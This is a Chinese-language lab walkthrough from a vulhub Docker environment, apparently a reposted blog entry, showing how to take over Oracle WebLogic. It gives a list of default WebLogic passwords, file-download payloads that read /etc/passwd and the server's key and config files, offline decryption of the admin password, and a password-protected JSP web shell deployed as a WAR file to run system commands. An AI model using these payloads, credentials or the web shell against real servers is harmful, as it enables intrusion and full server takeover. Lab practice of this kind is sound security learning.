Weblogic 弱密码+部署war包getshell
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Weblogic 弱密码+部署war包getshell相关的知识,希望对你有一定的参考价值。
Weblogic
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java EE应用服务器软件之 一,也是世界上第一个成功商业化的Java EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出 WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware 融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
默认端口:7001 、7002
Google关键字:WebLogic Server Administration Console inurl:console
漏洞复现
进入漏洞环境:
cd /home/ch1/Desktop/vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
访问 http://192.168.8.9:7001/console,即为weblogic后台。
Weblogic常见弱口令总结
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
https://cirt.net/passwords?criteria=weblogic
本环境存在:weblogic:Oracle@123
成功登陆!
破解密码
若不存在弱口令,本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件。
访问payload:http://192.168.8.9:7001/hello/file.jsp?path=/etc/passwd
下载并打开如下:
可以看到存在已经读取到了敏感信息,存在任意文件下载漏洞。
任意文件下载漏洞利用:
读取后台用户密文与密钥文件:
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。
这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
在本环境中为./security/SerializedSystemIni.dat和
./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)
1 读取 SerializedSystemIni.dat 文件
SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:(文件格式记得是.dat)
下载payload:http://192.168.8.9:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
选择需要粘贴的地方:
生成dat文件
2 下载config.xml
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:
下载payload:http://192.168.8.9:7001/hello/file.jsp?path=config/config.xml
找到加密后的管理员密码:AESyvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
解密工具在靶场的decrypt 目录下:
cd decrypt
保存到本地,双击打开 weblogic_decrypt.jar
输入好文件和密文,点击确定:
密码为Oracle@123
部署war包getshell
点击部署
选择安装
选中上载文件:
生成 1.jsp
<%
if("123".equals(request.getParameter("pwd")))
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
out.println(new String(b));
out.print("</pre>");
%>
构造war包:
jar cvf 1.war 1.jsp
上传war包,点击下一步:
上传成功:
存放路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload/1.war
点击下一步到如下界面:
命名:
点击完成:
访问木马文件:
http://192.168.8.9:7001/1/1.jsp
输入payload:
http://192.168.8.9:7001/1/1.jsp?pwd=123&i=id
成功getshell
仅供学习!
以上是关于Weblogic 弱密码+部署war包getshell的主要内容,如果未能解决你的问题,请参考以下文章